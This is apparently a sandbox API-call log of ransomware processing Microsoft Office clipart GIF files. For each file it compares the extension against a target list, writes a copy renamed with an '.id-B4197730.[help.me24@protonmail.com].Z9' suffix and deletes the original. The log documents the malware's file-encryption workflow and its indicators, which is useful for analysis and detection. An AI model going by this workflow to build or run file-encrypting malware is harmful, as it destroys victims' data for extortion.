	[0081.508] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0081.508] lstrlenW (lpString=".xlsx") returned 5
	[0081.508] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0081.508] lstrlenW (lpString=".ppt") returned 4
	[0081.508] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0081.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68
	[0081.508] lstrlenW (lpString=".zip") returned 4
	[0081.508] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0081.508] lstrlenW (lpString=".rar") returned 4
	[0081.508] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0081.508] lstrlenW (lpString=".bz2") returned 4
	[0081.508] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0081.508] lstrlenW (lpString=".7z") returned 3
	[0081.508] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0081.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68
	[0081.508] lstrlenW (lpString=".dbf") returned 4
	[0081.508] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0081.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68
	[0081.508] lstrlenW (lpString=".1cd") returned 4
	[0081.509] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0081.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68
	[0081.509] lstrlenW (lpString=".jpg") returned 4
	[0081.509] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0081.509] lstrcmpiW (lpString1=".GIF", lpString2=".Z9") returned -1
	[0081.509] lstrlenW (lpString="AG00161_.GIF") returned 12
	[0081.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0081.516] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=7583) returned 1
	[0081.516] CloseHandle (hObject=0x38c) returned 1
	[0081.516] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif")) returned 0x220
	[0081.516] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0081.516] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0081.516] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.516] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.516] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0081.516] GetLastError () returned 0x0
	[0081.516] ReadFile (in: hFile=0x38c, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x1d9f, lpOverlapped=0x0) returned 1
	[0081.518] WriteFile (in: hFile=0x338, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x1da0, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x1da0, lpOverlapped=0x0) returned 1
	[0081.519] ReadFile (in: hFile=0x38c, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0081.519] WriteFile (in: hFile=0x338, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0081.519] SetEndOfFile (hFile=0x338) returned 1
	[0081.519] CloseHandle (hObject=0x338) returned 1
	[0081.520] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.520] SetEndOfFile (hFile=0x38c) returned 1
	[0081.521] CloseHandle (hObject=0x38c) returned 1
	[0081.521] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0081.521] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif")) returned 1
	[0081.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68
	[0081.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68
	[0081.522] lstrlenW (lpString=".doc") returned 4
	[0081.522] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0081.522] lstrlenW (lpString=".docx") returned 5
	[0081.522] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0081.522] lstrlenW (lpString=".pdf") returned 4
	[0081.522] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0081.522] lstrlenW (lpString=".xls") returned 4
	[0081.522] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0081.522] lstrlenW (lpString=".xlsx") returned 5
	[0081.522] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0081.522] lstrlenW (lpString=".ppt") returned 4
	[0081.522] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0081.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68
	[0081.522] lstrlenW (lpString=".zip") returned 4
	[0081.522] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0081.522] lstrlenW (lpString=".rar") returned 4
	[0081.522] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0081.522] lstrlenW (lpString=".bz2") returned 4
	[0081.522] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0081.522] lstrlenW (lpString=".7z") returned 3
	[0081.522] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0081.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68
	[0081.522] lstrlenW (lpString=".dbf") returned 4
	[0081.522] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0081.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68
	[0081.522] lstrlenW (lpString=".1cd") returned 4
	[0081.522] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0081.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68
	[0081.522] lstrlenW (lpString=".jpg") returned 4
	[0081.522] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0081.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68
	[0081.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68
	[0081.523] lstrlenW (lpString=".doc") returned 4
	[0081.523] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0081.523] lstrlenW (lpString=".docx") returned 5
	[0081.523] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0081.523] lstrlenW (lpString=".pdf") returned 4
	[0081.523] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0081.523] lstrlenW (lpString=".xls") returned 4
	[0081.523] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0081.523] lstrlenW (lpString=".xlsx") returned 5
	[0081.523] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0081.523] lstrlenW (lpString=".ppt") returned 4
	[0081.523] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0081.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68
	[0081.523] lstrlenW (lpString=".zip") returned 4
	[0081.523] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0081.523] lstrlenW (lpString=".rar") returned 4
	[0081.523] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0081.523] lstrlenW (lpString=".bz2") returned 4
	[0081.523] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0081.523] lstrlenW (lpString=".7z") returned 3
	[0081.523] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0081.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68
	[0081.523] lstrlenW (lpString=".dbf") returned 4
	[0081.523] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0081.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68
	[0081.523] lstrlenW (lpString=".1cd") returned 4
	[0081.523] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0081.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68
	[0081.523] lstrlenW (lpString=".jpg") returned 4
	[0081.523] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0081.523] lstrcmpiW (lpString1=".GIF", lpString2=".Z9") returned -1
	[0081.523] lstrlenW (lpString="AG00164_.GIF") returned 12
	[0081.524] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0081.524] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=13254) returned 1
	[0081.524] CloseHandle (hObject=0x38c) returned 1
	[0081.524] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif")) returned 0x220
	[0081.524] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0081.524] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0081.524] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.524] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.524] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0081.524] GetLastError () returned 0x0
	[0081.525] ReadFile (in: hFile=0x38c, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x33c6, lpOverlapped=0x0) returned 1
	[0081.537] WriteFile (in: hFile=0x338, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x33d0, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x33d0, lpOverlapped=0x0) returned 1
	[0081.538] ReadFile (in: hFile=0x38c, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0081.539] WriteFile (in: hFile=0x338, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0081.539] SetEndOfFile (hFile=0x338) returned 1
	[0081.539] CloseHandle (hObject=0x338) returned 1
	[0081.540] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.540] SetEndOfFile (hFile=0x38c) returned 1
	[0081.541] CloseHandle (hObject=0x38c) returned 1
	[0081.541] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0081.541] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif")) returned 1
	[0081.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68
	[0081.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68
	[0081.541] lstrlenW (lpString=".doc") returned 4
	[0081.541] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0081.541] lstrlenW (lpString=".docx") returned 5
	[0081.541] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0081.541] lstrlenW (lpString=".pdf") returned 4
	[0081.542] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0081.542] lstrlenW (lpString=".xls") returned 4
	[0081.542] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0081.542] lstrlenW (lpString=".xlsx") returned 5
	[0081.542] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0081.542] lstrlenW (lpString=".ppt") returned 4
	[0081.542] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0081.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68
	[0081.542] lstrlenW (lpString=".zip") returned 4
	[0081.542] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0081.542] lstrlenW (lpString=".rar") returned 4
	[0081.542] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0081.542] lstrlenW (lpString=".bz2") returned 4
	[0081.542] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0081.542] lstrlenW (lpString=".7z") returned 3
	[0081.542] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0081.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68
	[0081.542] lstrlenW (lpString=".dbf") returned 4
	[0081.542] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0081.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68
	[0081.542] lstrlenW (lpString=".1cd") returned 4
	[0081.542] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0081.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68
	[0081.542] lstrlenW (lpString=".jpg") returned 4
	[0081.542] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0081.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68
	[0081.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68
	[0081.542] lstrlenW (lpString=".doc") returned 4
	[0081.542] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0081.542] lstrlenW (lpString=".docx") returned 5
	[0081.542] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0081.542] lstrlenW (lpString=".pdf") returned 4
	[0081.542] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0081.542] lstrlenW (lpString=".xls") returned 4
	[0081.542] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0081.542] lstrlenW (lpString=".xlsx") returned 5
	[0081.543] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0081.543] lstrlenW (lpString=".ppt") returned 4
	[0081.543] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0081.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68
	[0081.543] lstrlenW (lpString=".zip") returned 4
	[0081.543] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0081.543] lstrlenW (lpString=".rar") returned 4
	[0081.543] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0081.543] lstrlenW (lpString=".bz2") returned 4
	[0081.543] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0081.543] lstrlenW (lpString=".7z") returned 3
	[0081.543] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0081.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68
	[0081.543] lstrlenW (lpString=".dbf") returned 4
	[0081.543] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0081.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68
	[0081.543] lstrlenW (lpString=".1cd") returned 4
	[0081.543] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0081.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68
	[0081.543] lstrlenW (lpString=".jpg") returned 4
	[0081.543] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0081.543] lstrcmpiW (lpString1=".GIF", lpString2=".Z9") returned -1
	[0081.543] lstrlenW (lpString="AG00167_.GIF") returned 12
	[0081.543] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0081.544] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=4894) returned 1
	[0081.544] CloseHandle (hObject=0x338) returned 1
	[0081.544] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif")) returned 0x220
	[0081.545] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0081.546] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0081.546] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.546] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.546] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0081.547] GetLastError () returned 0x0
	[0081.547] ReadFile (in: hFile=0x384, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x131e, lpOverlapped=0x0) returned 1
	[0081.554] WriteFile (in: hFile=0x370, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x1320, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x1320, lpOverlapped=0x0) returned 1
	[0081.555] ReadFile (in: hFile=0x384, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0081.555] WriteFile (in: hFile=0x370, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0081.556] SetEndOfFile (hFile=0x370) returned 1
	[0081.556] CloseHandle (hObject=0x370) returned 1
	[0081.556] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.556] SetEndOfFile (hFile=0x384) returned 1
	[0081.557] CloseHandle (hObject=0x384) returned 1
	[0081.557] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0081.557] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif")) returned 1
	[0081.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68
	[0081.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68
	[0081.854] lstrlenW (lpString=".doc") returned 4
	[0081.854] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0081.854] lstrlenW (lpString=".docx") returned 5
	[0081.854] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0081.863] lstrlenW (lpString=".pdf") returned 4
	[0081.863] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0081.863] lstrlenW (lpString=".xls") returned 4
	[0081.863] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0081.863] lstrlenW (lpString=".xlsx") returned 5
	[0081.863] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0081.863] lstrlenW (lpString=".ppt") returned 4
	[0081.863] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0081.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68
	[0081.863] lstrlenW (lpString=".zip") returned 4
	[0081.863] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0081.863] lstrlenW (lpString=".rar") returned 4
	[0081.863] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0081.863] lstrlenW (lpString=".bz2") returned 4
	[0081.863] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0081.863] lstrlenW (lpString=".7z") returned 3
	[0081.863] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0081.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68
	[0081.863] lstrlenW (lpString=".dbf") returned 4
	[0081.863] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0081.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68
	[0081.864] lstrlenW (lpString=".1cd") returned 4
	[0081.864] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0081.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68
	[0081.864] lstrlenW (lpString=".jpg") returned 4
	[0081.864] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0081.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68
	[0081.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68
	[0081.864] lstrlenW (lpString=".doc") returned 4
	[0081.864] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0081.864] lstrlenW (lpString=".docx") returned 5
	[0081.864] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0081.864] lstrlenW (lpString=".pdf") returned 4
	[0081.864] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0081.864] lstrlenW (lpString=".xls") returned 4
